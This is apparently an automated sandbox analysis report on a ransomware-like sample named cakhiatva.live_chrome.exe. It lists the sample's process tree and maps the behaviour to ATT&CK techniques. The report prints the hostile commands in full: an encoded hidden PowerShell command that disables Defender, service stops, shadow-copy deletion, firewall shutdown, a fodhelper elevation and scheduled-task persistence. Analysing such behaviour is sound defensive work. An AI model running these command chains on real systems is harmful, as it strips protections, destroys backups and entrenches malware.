PID 4684 wrote to memory of 720	4684	cakhiatva.live_chrome.exe	117
PID 4684 wrote to memory of 1344	4684	cakhiatva.live_chrome.exe	118
PID 4684 wrote to memory of 2804	4684	cakhiatva.live_chrome.exe	120
PID 720 wrote to memory of 1496	720	fodhelper.exe	122
PID 4684 wrote to memory of 3912	4684	cakhiatva.live_chrome.exe	123
PID 4684 wrote to memory of 1672	4684	cakhiatva.live_chrome.exe	125
PID 4684 wrote to memory of 4724	4684	cakhiatva.live_chrome.exe	132
PID 4684 wrote to memory of 5920	4684	cakhiatva.live_chrome.exe	133
PID 4684 wrote to memory of 2656	4684	cakhiatva.live_chrome.exe	183
PID 4684 wrote to memory of 5732	4684	cakhiatva.live_chrome.exe	140
PID 4684 wrote to memory of 3292	4684	cakhiatva.live_chrome.exe	142
PID 4684 wrote to memory of 4416	4684	cakhiatva.live_chrome.exe	143
PID 4684 wrote to memory of 4116	4684	cakhiatva.live_chrome.exe	144
PID 4684 wrote to memory of 620	4684	cakhiatva.live_chrome.exe	145
PID 4684 wrote to memory of 1820	4684	cakhiatva.live_chrome.exe	146
PID 4684 wrote to memory of 5832	4684	cakhiatva.live_chrome.exe	147
PID 4684 wrote to memory of 6064	4684	cakhiatva.live_chrome.exe	154
PID 4684 wrote to memory of 308	4684	cakhiatva.live_chrome.exe	155
PID 4684 wrote to memory of 4768	4684	cakhiatva.live_chrome.exe	156
PID 5732 wrote to memory of 4440	5732	cmd.exe	158
PID 4416 wrote to memory of 5312	4416	cmd.exe	159
PID 3292 wrote to memory of 400	3292	cmd.exe	160
PID 1820 wrote to memory of 5444	1820	cmd.exe	161
PID 5832 wrote to memory of 5948	5832	cmd.exe	162
PID 4116 wrote to memory of 2336	4116	cmd.exe	163
PID 620 wrote to memory of 332	620	cmd.exe	164
PID 332 wrote to memory of 3524	332	net.exe	165
PID 5732 wrote to memory of 5524	5732	cmd.exe	166
PID 4684 wrote to memory of 3300	4684	cakhiatva.live_chrome.exe	167
PID 4684 wrote to memory of 4872	4684	cakhiatva.live_chrome.exe	168
PID 4684 wrote to memory of 5520	4684	cakhiatva.live_chrome.exe	169
PID 4684 wrote to memory of 5076	4684	cakhiatva.live_chrome.exe	170
PID 4684 wrote to memory of 4448	4684	cakhiatva.live_chrome.exe	171
PID 4684 wrote to memory of 6072	4684	cakhiatva.live_chrome.exe	172
PID 5520 wrote to memory of 4308	5520	net.exe	179
PID 4064 wrote to memory of 2040	4064	chrome.exe	181
PID 4064 wrote to memory of 4948	4064	chrome.exe	182
PID 4064 wrote to memory of 2656	4064	chrome.exe	183
PID 4064 wrote to memory of 1096	4064	chrome.exe	184
PID 4064 wrote to memory of 5012	4064	chrome.exe	185

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\cakhiatva.live_chrome.exe
"C:\Users\Admin\AppData\Local\Temp\cakhiatva.live_chrome.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Drops startup file
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4684
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" http://cakhiatva.live
  2⤵
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:4064
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ffa8d67c728,0x7ffa8d67c734,0x7ffa8d67c740
    3⤵
    PID:1632
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1464,i,17674639956472880882,2550520453918482126,524288 --field-trial-handle=1908,i,16927861955259004369,759851813388980861,262144 --variations-seed-version --mojo-platform-channel-handle=2036 /prefetch:11
    3⤵
    - System Time Discovery
    PID:2848
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1604,i,3047790770418219207,12720422955887866616,262144 --field-trial-handle=1908,i,16927861955259004369,759851813388980861,262144 --variations-seed-version --mojo-platform-channel-handle=1904 /prefetch:2
    3⤵
    PID:4880
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2284,i,215104927876258818,5039586354932087001,524288 --field-trial-handle=1908,i,16927861955259004369,759851813388980861,262144 --variations-seed-version --mojo-platform-channel-handle=2296 /prefetch:13
    3⤵
    PID:464
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3156,i,10469577682535827932,16843142277923335407,2097152 --field-trial-handle=1908,i,16927861955259004369,759851813388980861,262144 --variations-seed-version --mojo-platform-channel-handle=3208 /prefetch:1
    3⤵
    PID:4404
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3148,i,2596994191316533167,8535388375686711898,2097152 --field-trial-handle=1908,i,16927861955259004369,759851813388980861,262144 --variations-seed-version --mojo-platform-channel-handle=3188 /prefetch:1
    3⤵
    PID:5308
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4672,i,7324902162364145766,15830889600923103202,2097152 --field-trial-handle=1908,i,16927861955259004369,759851813388980861,262144 --variations-seed-version --mojo-platform-channel-handle=4716 /prefetch:1
    3⤵
    PID:4560
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4668,i,16859472833595109109,2004591519580572133,524288 --field-trial-handle=1908,i,16927861955259004369,759851813388980861,262144 --variations-seed-version --mojo-platform-channel-handle=4848 /prefetch:14
    3⤵
    PID:1516
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=4828,i,5567157676714335357,7037369796518516681,524288 --field-trial-handle=1908,i,16927861955259004369,759851813388980861,262144 --variations-seed-version --mojo-platform-channel-handle=3220 /prefetch:14
    3⤵
    PID:2040
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=3428,i,14595200348339827395,17865043318744086421,524288 --field-trial-handle=1908,i,16927861955259004369,759851813388980861,262144 --variations-seed-version --mojo-platform-channel-handle=3380 /prefetch:14
    3⤵
    PID:4948
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=3348,i,8695194163584960569,12943888948812760265,524288 --field-trial-handle=1908,i,16927861955259004369,759851813388980861,262144 --variations-seed-version --mojo-platform-channel-handle=3396 /prefetch:14
    3⤵
    PID:2656
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5384,i,16912051633656970561,8967998676810647640,524288 --field-trial-handle=1908,i,16927861955259004369,759851813388980861,262144 --variations-seed-version --mojo-platform-channel-handle=5408 /prefetch:14
    3⤵
    PID:1096
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=5492,i,14316622814588696065,1117412368717623108,2097152 --field-trial-handle=1908,i,16927861955259004369,759851813388980861,262144 --variations-seed-version --mojo-platform-channel-handle=5512 /prefetch:1
    3⤵
    PID:5012
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=5516,i,10047462695297848131,829379972641853506,2097152 --field-trial-handle=1908,i,16927861955259004369,759851813388980861,262144 --variations-seed-version --mojo-platform-channel-handle=5540 /prefetch:1
    3⤵
    PID:1340
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=5796,i,5813865880092370743,5157994695959571281,2097152 --field-trial-handle=1908,i,16927861955259004369,759851813388980861,262144 --variations-seed-version --mojo-platform-channel-handle=5480 /prefetch:1
    3⤵
    PID:5616
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5560,i,3736234331402158497,5586195058574097426,524288 --field-trial-handle=1908,i,16927861955259004369,759851813388980861,262144 --variations-seed-version --mojo-platform-channel-handle=5576 /prefetch:14
    3⤵
    PID:2056
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=5496,i,4939315698585693219,4963258799045565685,2097152 --field-trial-handle=1908,i,16927861955259004369,759851813388980861,262144 --variations-seed-version --mojo-platform-channel-handle=5860 /prefetch:1
    3⤵
    PID:3652
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --metrics-shmem-handle=5668,i,5999162569686920461,8040117726135275421,2097152 --field-trial-handle=1908,i,16927861955259004369,759851813388980861,262144 --variations-seed-version --mojo-platform-channel-handle=5492 /prefetch:1
    3⤵
    PID:3348
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --metrics-shmem-handle=5476,i,3763263457122479705,17030471389791135295,2097152 --field-trial-handle=1908,i,16927861955259004369,759851813388980861,262144 --variations-seed-version --mojo-platform-channel-handle=5404 /prefetch:1
    3⤵
    PID:5740
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5868,i,7156466765579881024,9231274324377517514,524288 --field-trial-handle=1908,i,16927861955259004369,759851813388980861,262144 --variations-seed-version --mojo-platform-channel-handle=5520 /prefetch:14
    3⤵
    PID:1268
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=5564,i,11019006535746934261,15231355379206969703,2097152 --field-trial-handle=1908,i,16927861955259004369,759851813388980861,262144 --variations-seed-version --mojo-platform-channel-handle=5788 /prefetch:1
    3⤵
    PID:4372
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --metrics-shmem-handle=5416,i,814832330046220458,10147347588491642295,2097152 --field-trial-handle=1908,i,16927861955259004369,759851813388980861,262144 --variations-seed-version --mojo-platform-channel-handle=6268 /prefetch:1
    3⤵
    PID:5980
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=6104,i,6001353121225117719,13010066228797727133,524288 --field-trial-handle=1908,i,16927861955259004369,759851813388980861,262144 --variations-seed-version --mojo-platform-channel-handle=5816 /prefetch:14
    3⤵
    PID:4184
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --metrics-shmem-handle=6160,i,6201960045702410893,4153436918359428635,2097152 --field-trial-handle=1908,i,16927861955259004369,759851813388980861,262144 --variations-seed-version --mojo-platform-channel-handle=5476 /prefetch:9
    3⤵
    PID:3652
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --metrics-shmem-handle=5916,i,15642765847990208652,8439220559294410564,2097152 --field-trial-handle=1908,i,16927861955259004369,759851813388980861,262144 --variations-seed-version --mojo-platform-channel-handle=6420 /prefetch:1
    3⤵
    PID:8
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=5548,i,124316396849983144,764539490021631688,262144 --field-trial-handle=1908,i,16927861955259004369,759851813388980861,262144 --variations-seed-version --mojo-platform-channel-handle=4912 /prefetch:10
    3⤵
    PID:3656
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4188
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:5312
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:4736
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:5832
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:2904
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:3420
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:4832
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:1536
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:3312
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:720
- - C:\Users\Admin\AppData\Local\Temp\cakhiatva.live_chrome.exe
    "C:\Users\Admin\AppData\Local\Temp\cakhiatva.live_chrome.exe"
    3⤵
    PID:1496
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:1344
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:2804
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:3912
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1672
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:4724
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\cakhiatva.live_chrome.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5920
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\cakhiatva.live_chrome.exe" /sc minute /mo 30 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2656
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5732
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:4440
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:5524
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3292
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:400
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4416
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    PID:5312
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4116
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    PID:2336
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:620
- - C:\Windows\system32\net.exe
    net user
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:332
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user
      4⤵
      PID:3524
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1820
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:5444
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5832
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    PID:5948
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\cakhiatva.live_chrome.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:6064
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1516
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:308
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:4768
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:3300
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4872
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5520
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:4308
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:5076
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:4448
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:6072

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:5160

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5568

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
PID:4404

C:\Users\Admin\AppData\Local\Temp\cakhiatva.live_chrome.exe
C:\Users\Admin\AppData\Local\Temp\cakhiatva.live_chrome.exe
1⤵
PID:336

C:\Users\Admin\AppData\Local\Temp\cakhiatva.live_chrome.exe
C:\Users\Admin\AppData\Local\Temp\cakhiatva.live_chrome.exe
1⤵
PID:6140

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:1304

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:792

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery